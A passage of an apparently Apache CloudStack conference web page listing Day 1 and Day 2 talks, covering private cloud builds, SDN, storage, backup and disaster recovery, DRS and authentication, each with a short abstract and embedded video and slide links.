November) about VM-snapshots on LINSTOR/DRBD.</p><iframe width="640" height="315" src="https://www.youtube.com/embed/_5voWyJOZlg?si=BunHIxkl3xgWk_E0&amp;controls=0" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"></iframe><iframe src="https://www.slideshare.net/slideshow/embed_code/key/JulMCxkdkq002m?hostedIn=slideshare&amp;page=upload" width="640" height="480" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" allowfullscreen="allowfullscreen"> </iframe><h3 class="anchor anchorWithStickyNavbar_LWe7" id="zero-to-cloud-hero-crafting-a-private-cloud-from-scratch-with-xcp-ng-xen-orchestra-and-cloudstack-olivier-lambert">Zero to Cloud Hero: Crafting a Private Cloud from Scratch with XCP-ng, Xen Orchestra and CloudStack, <a href="https://www.linkedin.com/in/olivier-lambert-22316b26/" target="_blank" rel="noopener noreferrer">Olivier Lambert</a><a href="#zero-to-cloud-hero-crafting-a-private-cloud-from-scratch-with-xcp-ng-xen-orchestra-and-cloudstack-olivier-lambert" class="hash-link" aria-label="Direct link to zero-to-cloud-hero-crafting-a-private-cloud-from-scratch-with-xcp-ng-xen-orchestra-and-cloudstack-olivier-lambert" title="Direct link to zero-to-cloud-hero-crafting-a-private-cloud-from-scratch-with-xcp-ng-xen-orchestra-and-cloudstack-olivier-lambert">​</a></h3><p>Dive into the seamless integration of the Vates stack as the foundation for your
CloudStack deployment. In this workshop, you’ll witness the power and simplicity
of XCP-ng and Xen Orchestra. From a blank slate to a fully operational private
cloud, Olivier guides you through each pivotal step. Learn how to streamline
your cloud setup process and unlock the potential of a private cloud
infrastructure that’s both efficient and easy to manage. Watch to discover how
to transform bare metal into a cloud powerhouse in mere minutes.</p><iframe width="640" height="315" src="https://www.youtube.com/embed/btRZMpfsg4E?si=mrz7xTQaXL41J62g&amp;controls=0" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"></iframe><iframe src="https://www.slideshare.net/slideshow/embed_code/key/JSyhBTmluzWpSV?hostedIn=slideshare&amp;page=upload" width="640" height="480" frameborder="0" marginwidth="0" marginheight="0" scrolling="no"></iframe><h3 class="anchor anchorWithStickyNavbar_LWe7" id="vnf-integration-and-support-in-cloudstack-wei-zhou">VNF Integration and Support in CloudStack, <a href="https://www.linkedin.com/in/wei-zhou-3635b633/" target="_blank" rel="noopener noreferrer">Wei Zhou</a><a href="#vnf-integration-and-support-in-cloudstack-wei-zhou" class="hash-link" aria-label="Direct link to vnf-integration-and-support-in-cloudstack-wei-zhou" title="Direct link to vnf-integration-and-support-in-cloudstack-wei-zhou">​</a></h3><p>In this session, Wei presents how CloudStack 4.19 adds the capability to easily
and quickly perform a light-touch integration of networking appliances with ACS,
allowing for operators to offer a broader range of networking services while
empowering end-users to effortlessly deploy their own virtualized network
functions.</p><iframe width="640" height="315" src="https://www.youtube.com/embed/JZTT9OlqtDs?si=16FEtwBr3iMaMV90&amp;controls=0" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"></iframe><iframe src="https://www.slideshare.net/slideshow/embed_code/key/s3DBuNWRn9HnOe?hostedIn=slideshare&amp;page=upload" width="640" height="480" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" allowfullscreen="allowfullscreen"></iframe><h3 class="anchor anchorWithStickyNavbar_LWe7" id="developments-to-cloudstacks-sdn-ecosystem-integration-with-vmware-nsx-4-pearl-dsilva-alexandre-mattioli">Developments to CloudStack’s SDN ecosystem: Integration with VMWare NSX 4, <a href="https://www.linkedin.com/in/pearldsilva/" target="_blank" rel="noopener noreferrer">Pearl Dsilva</a>, <a href="https://www.linkedin.com/in/alexandremattiolibastos/" target="_blank" rel="noopener noreferrer">Alexandre Mattioli</a><a href="#developments-to-cloudstacks-sdn-ecosystem-integration-with-vmware-nsx-4-pearl-dsilva-alexandre-mattioli" class="hash-link" aria-label="Direct link to developments-to-cloudstacks-sdn-ecosystem-integration-with-vmware-nsx-4-pearl-dsilva-alexandre-mattioli" title="Direct link to developments-to-cloudstacks-sdn-ecosystem-integration-with-vmware-nsx-4-pearl-dsilva-alexandre-mattioli">​</a></h3><p>In recent releases, Apache CloudStack has been evolving towards richer support
for Software Defined Networking (SDN) solutions. In ACS 4.18, we introduced
integration with Tungsten Fabric SDN, which opened ACS to several long-awaited
features such as overlay networks, BGP, MPLS and other sophisticated networking
capabilities. We now are working towards integrating VMWare NSX 4 with
CloudStack, which will enable agile software-defined infrastructure for building
cloud-native micro-segmented application environments on VMWare using
CloudStack.</p><p>In this talk, Pearl and Alex delve into the expansion of ACS’s SDN ecosystem
with the integration of VMWare NSX 4, thus enabling operators to make informed
decisions regarding the right SDN platform for their CloudStack deployment. They
also look into what it takes to create a new network provider in CloudStack.</p><iframe width="640" height="315" src="https://www.youtube.com/embed/f7ao-vv7Ahk?si=OfeLhVMWfk0daXmt&amp;controls=0" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"></iframe><iframe src="https://www.slideshare.net/slideshow/embed_code/key/24zqzqc3nH7QtT?hostedIn=slideshare&amp;page=upload" width="640" height="480" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" allowfullscreen="allowfullscreen"></iframe><h3 class="anchor anchorWithStickyNavbar_LWe7" id="backroll-news-and-demo-pierre-charton-matthias-dhellin-ousmane-diarra">Backroll, News and Demo, <a href="https://www.linkedin.com/in/pierre-charton-068b6748/" target="_blank" rel="noopener noreferrer">Pierre Charton</a>, <a href="https://www.linkedin.com/in/matthias-dhellin-217068298/" target="_blank" rel="noopener noreferrer">Matthias Dhellin</a>, <a href="https://www.linkedin.com/in/odiarra1/" target="_blank" rel="noopener noreferrer">Ousmane Diarra</a><a href="#backroll-news-and-demo-pierre-charton-matthias-dhellin-ousmane-diarra" class="hash-link" aria-label="Direct link to backroll-news-and-demo-pierre-charton-matthias-dhellin-ousmane-diarra" title="Direct link to backroll-news-and-demo-pierre-charton-matthias-dhellin-ousmane-diarra">​</a></h3><p>Pierre, Matthias, and Ousmane demonstrate the new Backroll version, with a new
and easy installation process. They also give a demo of the new features of the
project and its integration with CloudStack, providing an all-in-one solution.</p><iframe width="640" height="315" src="https://www.youtube.com/embed/yh-purfnMGg?si=bFugsXhrmew02Xui&amp;controls=0" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"></iframe><iframe src="https://www.slideshare.net/slideshow/embed_code/key/apYEI9VvvPULUe?hostedIn=slideshare&amp;page=upload" width="640" height="480" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" allowfullscreen="allowfullscreen"></iframe><h3 class="anchor anchorWithStickyNavbar_LWe7" id="backup-and-disaster-recovery-with-cloudstack-and-storpool--workshop-venko-moyankov">Backup and Disaster Recovery with CloudStack and StorPool – Workshop, <a href="https://www.linkedin.com/in/venkomoyankov/" target="_blank" rel="noopener noreferrer">Venko Moyankov</a><a href="#backup-and-disaster-recovery-with-cloudstack-and-storpool--workshop-venko-moyankov" class="hash-link" aria-label="Direct link to backup-and-disaster-recovery-with-cloudstack-and-storpool--workshop-venko-moyankov" title="Direct link to backup-and-disaster-recovery-with-cloudstack-and-storpool--workshop-venko-moyankov">​</a></h3><p>One of the main shortcomings of CloudStack compared to VMware is the lack of built-in support for disaster recovery. In this workshop, Venko shows how you can build a cloud using Apache CloudStack and StorPool storage that features disaster recovery capabilities and off-site backups. He shows a reference architecture of the solution, followed by a live demo on how to set backup policies, backup virtual machines and recover the VMs in a site-down event.</p><p>The workshop allows an open discussion about the practical aspects of implementing a DR service, the difficulties of building such solutions and how to address them.</p><iframe width="640" height="315" src="https://www.youtube.com/embed/JOveVuzpnFo?si=eTwNgu5eh96gmifr&amp;controls=0" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"></iframe><iframe src="https://www.slideshare.net/slideshow/embed_code/key/Daittf77mUHGFb?hostedIn=slideshare&amp;page=upload" width="640" height="480" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" allowfullscreen="allowfullscreen"></iframe><h3 class="anchor anchorWithStickyNavbar_LWe7" id="mitigating-common-cloudstack-instance-deployment-failures-jithin-raju">Mitigating Common CloudStack Instance Deployment Failures, <a href="https://www.linkedin.com/in/rajujith/" target="_blank" rel="noopener noreferrer">Jithin Raju</a><a href="#mitigating-common-cloudstack-instance-deployment-failures-jithin-raju" class="hash-link" aria-label="Direct link to mitigating-common-cloudstack-instance-deployment-failures-jithin-raju" title="Direct link to mitigating-common-cloudstack-instance-deployment-failures-jithin-raju">​</a></h3><p>A discussion on the common failures when using CloudStack taking instance
deployment as an example. The session includes 15 specific failure scenarios,
their causes, and possible mitigation steps.</p><iframe width="640" height="315" src="https://www.youtube.com/embed/G_W_wK8Urmo?si=MZiOgA3xvgK0kofU&amp;controls=0" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"></iframe><iframe src="https://www.slideshare.net/slideshow/embed_code/key/uG9TbWhwII4lz?hostedIn=slideshare&amp;page=upload" width="640" height="480" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" allowfullscreen="allowfullscreen"></iframe><h2 class="anchor anchorWithStickyNavbar_LWe7" id="day-2-sessions">Day 2 Sessions<a href="#day-2-sessions" class="hash-link" aria-label="Direct link to Day 2 Sessions" title="Direct link to Day 2 Sessions">​</a></h2><h3 class="anchor anchorWithStickyNavbar_LWe7" id="how-to-re-use-old-hardware-with-cloudstack-saving-money-and-the-environment-wido-den-hollander">How to Re-use Old Hardware with CloudStack. Saving Money and the Environment, <a href="https://www.linkedin.com/in/widodh/" target="_blank" rel="noopener noreferrer">Wido den Hollander</a><a href="#how-to-re-use-old-hardware-with-cloudstack-saving-money-and-the-environment-wido-den-hollander" class="hash-link" aria-label="Direct link to how-to-re-use-old-hardware-with-cloudstack-saving-money-and-the-environment-wido-den-hollander" title="Direct link to how-to-re-use-old-hardware-with-cloudstack-saving-money-and-the-environment-wido-den-hollander">​</a></h3><p>CloudStack allows you to use older hardware for a longer time in your cloud
environment. By using older hardware for a longer time you can save money and
the environment by not producing new hardware. </p><iframe width="640" height="315" src="https://www.youtube.com/embed/KAJCkC00tzQ?si=56v3sWaRj93XfF2m&amp;controls=0" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"></iframe><iframe src="https://www.slideshare.net/slideshow/embed_code/key/wIknV9DWEOPPXG?hostedIn=slideshare&amp;page=upload" width="640" height="480" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" allowfullscreen="allowfullscreen"> </iframe><h3 class="anchor anchorWithStickyNavbar_LWe7" id="hypervisor-agnostic-drs-in-cloudstack---brief-overview--demo-vishesh-jindal">Hypervisor Agnostic DRS in CloudStack - Brief overview &amp; demo, <a href="https://www.linkedin.com/in/vishesh92" target="_blank" rel="noopener noreferrer">Vishesh Jindal</a><a href="#hypervisor-agnostic-drs-in-cloudstack---brief-overview--demo-vishesh-jindal" class="hash-link" aria-label="Direct link to hypervisor-agnostic-drs-in-cloudstack---brief-overview--demo-vishesh-jindal" title="Direct link to hypervisor-agnostic-drs-in-cloudstack---brief-overview--demo-vishesh-jindal">​</a></h3><p>Vishesh has been working on the feature hypervisor-agnostic DRS in CloudStack. He briefly overviews the implementation and discusses the algorithms currently available and how they can improve resource allocation and workload balancing in virtualized environments. Additionally, Vishesh showcases a live demo of hypervisor agnostic DRS in action, highlighting its capabilities and effectiveness.</p><iframe width="640" height="315" src="https://www.youtube.com/embed/nSwpHgRUVoI?si=i0m2QSrQ1XO7Flfn&amp;controls=0" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"></iframe><iframe src="https://www.slideshare.net/slideshow/embed_code/key/GxMdQm0x29aIwl?hostedIn=slideshare&amp;page=upload" width="640" height="480" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" allowfullscreen="allowfullscreen"> </iframe><h3 class="anchor anchorWithStickyNavbar_LWe7" id="building-a-software-makerspace-with-cloudstack-to-drive-innovation-by-improving-learning-and-research-abilities-at-universities-jonas-willén-pierre-le-fèvre-emil-karlsson">Building a Software Makerspace with CloudStack to Drive Innovation by Improving Learning and Research Abilities at Universities, <a href="https://www.linkedin.com/in/jonas-will%C3%A9n-6a745a56" target="_blank" rel="noopener noreferrer">Jonas Willén</a>, <a href="https://www.linkedin.com/in/pierrelefevre" target="_blank" rel="noopener noreferrer">Pierre Le Fèvre</a>, <a href="https://www.linkedin.com/in/e-karlsson" target="_blank" rel="noopener noreferrer">Emil Karlsson</a><a href="#building-a-software-makerspace-with-cloudstack-to-drive-innovation-by-improving-learning-and-research-abilities-at-universities-jonas-willén-pierre-le-fèvre-emil-karlsson" class="hash-link" aria-label="Direct link to building-a-software-makerspace-with-cloudstack-to-drive-innovation-by-improving-learning-and-research-abilities-at-universities-jonas-willén-pierre-le-fèvre-emil-karlsson" title="Direct link to building-a-software-makerspace-with-cloudstack-to-drive-innovation-by-improving-learning-and-research-abilities-at-universities-jonas-willén-pierre-le-fèvre-emil-karlsson">​</a></h3><p>A makerspace today is focused on turning ideas into physical prototypes by
providing resources in terms of tools and infrastructure. In a university, a
makerspace provides students with an opportunity to build a portfolio. Students
experiment through an entire development life cycle by creating prototypes for
each stage of a cycle. It has been shown to be a productive method for learning.</p><p>To the best of our knowledge, software development is yet to be included in the
makerspace concept. In the case of our software makerspace, it is following the
same principles as a traditional makerspace for device and mechanical
prototyping, but instead provides software development tools. One such
indispensable tool is cloud-based infrastructure. A cloud facilitates rapid
prototyping of machine learning tools, microservices, IoT data mining, etc. </p><p>This talk presents their approach to extend the concept of a makerspace to
software development using a student developed private cloud. They present the
method they used to gather requirements from various researchers and students.
They also present the final design and the current implementation of the cloud
using Apache CloudStack. Finally, they discuss how other universities could
implement their own software makerspace and its benefits.</p><iframe width="640" height="315" src="https://www.youtube.com/embed/QYT1HA6krU4?si=2OD0flTkxgZvRV9x&amp;controls=0" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"></iframe><iframe src="https://www.slideshare.net/slideshow/embed_code/key/ghw7Vj1Kvco7t?hostedIn=slideshare&amp;page=upload" width="640" height="480" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" allowfullscreen="allowfullscreen"></iframe><h3 class="anchor anchorWithStickyNavbar_LWe7" id="drbd-deep-dive-philipp-reisner">DRBD Deep Dive, <a href="https://www.linkedin.com/in/philipp-reisner" target="_blank" rel="noopener noreferrer">Philipp Reisner</a><a href="#drbd-deep-dive-philipp-reisner" class="hash-link" aria-label="Direct link to drbd-deep-dive-philipp-reisner" title="Direct link to drbd-deep-dive-philipp-reisner">​</a></h3><p>LINSTOR/DRBD became a primary storage option for Apache CloudStack nearly two years ago. In this session, Philipp shares insights about the internals of DRBD, the data-path part of the data-storage solution.</p><p>Knowing about DRBD’s meta-data, the activity log, and the bitmap will enable you to make more educated decisions when it comes to selecting the right hardware for your next ApacheCloudStack+LINSTOR+DRBD deployment. When your servers have different storage tiers, what are the advantages and trade-offs regarding putting data and meta-data on different tiers?</p><p>Recently, DRBD got a new transport, load-balancing TCP, that joins the existing TCP transport, and the RDMA transport received important updates. Looking beyond DRBD, what is important to know when selecting the RAID level and data alignment? Philipp concludes the session with comments regarding LVM compared to ZFS.</p><iframe width="640" height="315" src="https://www.youtube.com/embed/NG74BPK7oYQ?si=0B3tHBOK-DHPJKN9&amp;controls=0" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"></iframe><iframe src="https://www.slideshare.net/slideshow/embed_code/key/E9cbsIaqiLwtpz?hostedIn=slideshare&amp;page=upload" width="640" height="480" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" allowfullscreen="allowfullscreen"></iframe><h3 class="anchor anchorWithStickyNavbar_LWe7" id="setting-up-your-first-cloudstack-environment-with-beginners-challenges-md-rasel">Setting Up Your First CloudStack Environment with Beginners Challenges, <a href="https://www.linkedin.com/in/mdrasel0" target="_blank" rel="noopener noreferrer">MD Rasel</a><a href="#setting-up-your-first-cloudstack-environment-with-beginners-challenges-md-rasel" class="hash-link" aria-label="Direct link to setting-up-your-first-cloudstack-environment-with-beginners-challenges-md-rasel" title="Direct link to setting-up-your-first-cloudstack-environment-with-beginners-challenges-md-rasel">​</a></h3><p>Are you eager to embark on your journey into the world of cloud computing with Apache CloudStack but don’t know where to start? This informative session is designed especially for beginners. MD Rasel guides you through the essential steps of setting up your very first CloudStack environment, from initial installation to basic configuration.</p><p>This session aims to equip newcomers to Apache CloudStack with the fundamental knowledge and practical skills required to establish their own cloud infrastructure. MR Rasel addresses common challenges that beginners often encounter during the setup process and provide valuable insights on how to overcome them.</p><p>The session consists of a combination of presentations and live demonstrations. Attendees had the opportunity to follow along with the setup process in real time and ask questions.</p><iframe width="640" height="315" src="https://www.youtube.com/embed/vZfHfoYEMdY?si=IQ6w1EH6gcHPtwGQ&amp;controls=0" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"></iframe><iframe src="https://www.slideshare.net/slideshow/embed_code/key/dp1tvpjta0Ehur?hostedIn=slideshare&amp;page=upload" width="640" height="480" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" allowfullscreen="allowfullscreen"></iframe><h3 class="anchor anchorWithStickyNavbar_LWe7" id="transitioning-from-vmware-vcloud-to-apache-cloudstack-a-path-to-profitability-and-competitiveness-marco-sinhoreli">Transitioning from VMware vCloud to Apache CloudStack: A Path to Profitability and Competitiveness, <a href="https://www.linkedin.com/in/msinhore" target="_blank" rel="noopener noreferrer">Marco Sinhoreli</a><a href="#transitioning-from-vmware-vcloud-to-apache-cloudstack-a-path-to-profitability-and-competitiveness-marco-sinhoreli" class="hash-link" aria-label="Direct link to transitioning-from-vmware-vcloud-to-apache-cloudstack-a-path-to-profitability-and-competitiveness-marco-sinhoreli" title="Direct link to transitioning-from-vmware-vcloud-to-apache-cloudstack-a-path-to-profitability-and-competitiveness-marco-sinhoreli">​</a></h3><p>In this session, Marco explores the potential of migrating from VMware vCloud to
Apache CloudStack with KVM. VMware vCloud Suite is a robust cloud infrastructure
and management solution that combines vSphere and vRealize Suite, providing
automation and operations capabilities for traditional and modern infrastructure
and apps. However, the transition to Apache CloudStack can offer enhanced
profitability and competitiveness.</p><p>Marco delves into the benefits of Apache CloudStack, including its
cost-effectiveness and open-source nature, and discusses how a gradual migration
from VMware vCloud can reduce ownership costs, increase profitability, and
enhance competitiveness. He also covers the practical steps and considerations
in planning and executing this transition effectively.</p><iframe width="640" height="315" src="https://www.youtube.com/embed/yZMjGUwU_yY?si=K66whqgepnCvZ0g0&amp;controls=0" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"></iframe><iframe src="https://www.slideshare.net/slideshow/embed_code/key/l4d4JDv6nhe9K2?hostedIn=slideshare&amp;page=upload" width="640" height="480" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" allowfullscreen="allowfullscreen"></iframe><h3 class="anchor anchorWithStickyNavbar_LWe7" id="cloudstack-and-gitops-at-enterprise-scale-alex-dometrius-rene-glover">CloudStack and GitOps at Enterprise Scale, <a href="https://www.linkedin.com/in/alexdometrius" target="_blank" rel="noopener noreferrer">Alex Dometrius</a>, <a href="https://www.linkedin.com/in/rene-glover" target="_blank" rel="noopener noreferrer">Rene Glover</a><a href="#cloudstack-and-gitops-at-enterprise-scale-alex-dometrius-rene-glover" class="hash-link" aria-label="Direct link to cloudstack-and-gitops-at-enterprise-scale-alex-dometrius-rene-glover" title="Direct link to cloudstack-and-gitops-at-enterprise-scale-alex-dometrius-rene-glover">​</a></h3><p>The AT&amp;T team recently embarked on a journey with CloudStack and has since
deployed a solution which encompasses multiple data-centers. This talk focuses
on how they are using open source tools like CloudStack, FreeIPA, and Metal as a
Service (MaaS) to support KVM-based VM provisioning at an enterprise scale
within a GitOps model.</p><iframe width="640" height="315" src="https://www.youtube.com/embed/Bc1a8YHdEq4?si=qhKphND6qi0B2Lo5&amp;controls=0" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"></iframe><iframe src="https://www.slideshare.net/slideshow/embed_code/key/7vtRbqok6FEeUV" width="640" height="480" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" allowfullscreen="allowfullscreen"></iframe><h3 class="anchor anchorWithStickyNavbar_LWe7" id="2fa-and-oauth2-in-cloudstack-andrija-panić">2FA and OAuth2 in CloudStack, <a href="https://www.linkedin.com/in/andrijapanic" target="_blank" rel="noopener noreferrer">Andrija Panić</a><a href="#2fa-and-oauth2-in-cloudstack-andrija-panić" class="hash-link" aria-label="Direct link to 2fa-and-oauth2-in-cloudstack-andrija-panić" title="Direct link to 2fa-and-oauth2-in-cloudstack-andrija-panić">​</a></h3><p>This talk is about authentication and authorization – Two-Factor Authentication
(2FA) and OAuth2 explaining their critical roles in enhancing security and user
experience within the realm of Apache CloudStack.</p><p>With Two-Factor Authentication (2FA), we strengthen the authentication process,
mitigate password-related or usual login vulnerabilities, and ensure compliance
with security standards. On the other side of the authentication spectrum,
OAuth2, the industry-standard authorization framework, simplifies the process of
granting access to resources. Andrija discusses how this can be used and how it
fits in CloudStack.</p><iframe width="640" height="315" src="https://www.youtube.com/embed/62TovtIQW9s?si=YL2kfSjy6Fx9xr6G&amp;controls=0" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"></iframe><iframe src="https://www.slideshare.net/slideshow/embed_code/key/1GwD0PDHEPecvl?hostedIn=slideshare&amp;page=upload" width="640" height="480" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" allowfullscreen="allowfullscreen"></iframe><h3 class="anchor anchorWithStickyNavbar_LWe7" id="centralized-logging-feature-in-cloudstack-using-elk-and-grafana-kiran-chavala">Centralized Logging Feature in CloudStack using ELK and Grafana, <a href="https://www.linkedin.com/in/kiran-chavala-1bb6a97" target="_blank" rel="noopener noreferrer">Kiran Chavala</a><a href="#centralized-logging-feature-in-cloudstack-using-elk-and-grafana-kiran-chavala" class="hash-link" aria-label="Direct link to centralized-logging-feature-in-cloudstack-using-elk-and-grafana-kiran-chavala" title="Direct link to centralized-logging-feature-in-cloudstack-using-elk-and-grafana-kiran-chavala">​</a></h3><p>In this session, Kiran demonstrates how to centralize all the CloudStack-related
logs in one place using Elastic Search and generate beautiful dashboards in
Grafana. This session simplifies the troubleshooting process involved with
CloudStack and quickly helps to resolve the issue.</p><iframe width="640" height="315" src="https://www.youtube.com/embed/p8Qugu9stpI?si=hT18taTw6HPlCBYz&amp;controls=0" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"></iframe><iframe src="https://www.slideshare.net/slideshow/embed_code/key/yalVUMOq5J3b30?hostedIn=slideshare&amp;page=upload" width="640" height="480" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" allowfullscreen="allowfullscreen"></iframe><h3 class="anchor anchorWithStickyNavbar_LWe7" id="draas-using-snapshot-copy-and-destination-selection-draas-alexandre-mattioli">DRaaS using Snapshot copy and destination selection (DRaaS), <a href="https://www.linkedin.com/in/alexandremattiolibastos" target="_blank" rel="noopener noreferrer">Alexandre Mattioli</a><a href="#draas-using-snapshot-copy-and-destination-selection-draas-alexandre-mattioli" class="hash-link" aria-label="Direct link to draas-using-snapshot-copy-and-destination-selection-draas-alexandre-mattioli" title="Direct link to draas-using-snapshot-copy-and-destination-selection-draas-alexandre-mattioli">​</a></h3><p>Apache CloudStack 4.19 introduces the capability for end-users to copy their
root disk or volume snapshots to one (or more) ACS Zones without operator
intervention. In this talk, Alex shows how this simple yet powerful new feature
enables for end-users to control where their data resides and for operators to
provide low-cost and robust DRaaS to their customers.</p><iframe width="640" height="315" src="https://www.youtube.com/embed/fVgKUM-mWMA?si=gc46OYlqcZbd68Oe&amp;controls=0" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"></iframe><iframe src="https://www.slideshare.net/slideshow/embed_code/key/Cvm7rz3ZGuJBMR?hostedIn=slideshare&amp;page=upload" width="640" height="480" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" allowfullscreen="allowfullscreen"></iframe><h3 class="anchor anchorWithStickyNavbar_LWe7" id="use-existing-assets-to-build-a-powerful-in-house-cloud-solution-magali-pervan-joffrey-luangsaysana-grégoire-lamodière">Use Existing Assets to Build a Powerful In-house Cloud Solution, <a href="https://www.linkedin.com/in/magali-pervan" target="_blank" rel="noopener noreferrer">Magali Pervan</a>, <a href="https://www.linkedin.com/in/jluang" target="_blank" rel="noopener noreferrer">Joffrey Luangsaysana</a>, <a href="https://www.linkedin.com/in/gr%C3%A9goire-lamodi%C3%A8re-04171210" target="_blank" rel="noopener noreferrer">Grégoire Lamodière</a><a href="#use-existing-assets-to-build-a-powerful-in-house-cloud-solution-magali-pervan-joffrey-luangsaysana-grégoire-lamodière" class="hash-link" aria-label="Direct link to use-existing-assets-to-build-a-powerful-in-house-cloud-solution-magali-pervan-joffrey-luangsaysana-grégoire-lamodière" title="Direct link to use-existing-assets-to-build-a-powerful-in-house-cloud-solution-magali-pervan-joffrey-luangsaysana-grégoire-lamodière">​</a></h3><p>How to minimize the impact when it’s time to implement a cloud solution for
automating internal workloads and delivering efficient solutions? Magali,
Joffrey, and Grégoire present a case study of a successful hardware reuse
project, including key metrics: Business objectives, Performance objectives and
Financial objectives.</p><iframe width="640" height="315" src="https://www.youtube.com/embed/32djHek0_3Q?si=Rs1YQ12NBYuDW5S8&amp;controls=0" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"></iframe><iframe src="https://www.slideshare.net/slideshow/embed_code/key/2QOHFP4MHSSlnK?hostedIn=slideshare&amp;page=upload" width="640" height="480" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" allowfullscreen="allowfullscreen"></iframe><h3 class="anchor anchorWithStickyNavbar_LWe7" id="cloudstack-managed-user-data-and-demo-harikrishna-patnala">CloudStack Managed User Data and Demo, <a href="https://www.linkedin.com/in/harikrishnapatnala" target="_blank" rel="noopener noreferrer">Harikrishna Patnala</a><a href="#cloudstack-managed-user-data-and-demo-harikrishna-patnala" class="hash-link" aria-label="Direct link to cloudstack-managed-user-data-and-demo-harikrishna-patnala" title="Direct link to cloudstack-managed-user-data-and-demo-harikrishna-patnala">​</a></h3><p>We know existing Userdata support in CloudStack enables users to inject custom
scripts or data into virtual machines during provisioning, facilitating
automation and customization of VM setup and configuration. This talk is about
delivering the extended support of userdata with “Managed UserData” which
enables users to register and manage their own UserData script(s) as a
CloudStack resource - followed by a demo.</p><iframe width="640" height="315" src="https://www.youtube.com/embed/T0A5bg0Emho?si=SkpBlOYviC5AKivS&amp;controls=0" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"></iframe><iframe src="https://www.slideshare.net/slideshow/embed_code/key/IaWWuPofZoFYXs?hostedIn=slideshare&amp;page=upload" width="640" height="480" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" allowfullscreen="allowfullscreen"></iframe><h3 class="anchor anchorWithStickyNavbar_LWe7" id="project-sustainability-and-vendor-contributions-in-an-apache-governance-model--panel-ivet-petrova-daan-hoogland-and-alex-ivanov">Project Sustainability and Vendor Contributions in an Apache Governance Model – Panel, <a href="https://www.linkedin.com/in/ivpetrova" target="_blank" rel="noopener noreferrer">Ivet Petrova</a>, <a href="https://www.linkedin.com/in/dhoogland" target="_blank" rel="noopener noreferrer">Daan Hoogland</a> and <a href="https://www.linkedin.com/in/alex-p-ivanov" target="_blank" rel="noopener noreferrer">Alex Ivanov</a><a href="#project-sustainability-and-vendor-contributions-in-an-apache-governance-model--panel-ivet-petrova-daan-hoogland-and-alex-ivanov" class="hash-link" aria-label="Direct link to project-sustainability-and-vendor-contributions-in-an-apache-governance-model--panel-ivet-petrova-daan-hoogland-and-alex-ivanov" title="Direct link to project-sustainability-and-vendor-contributions-in-an-apache-governance-model--panel-ivet-petrova-daan-hoogland-and-alex-ivanov">​</a></h3><p>This Panel discusses the Apache CloudStack project sustainability and vendor
contributions in an Apache Governance Model. The participants present the
different points of view from the development perspective, vendor contributions
and PMCs. Panellists share their perspectives on how to help the project grow,
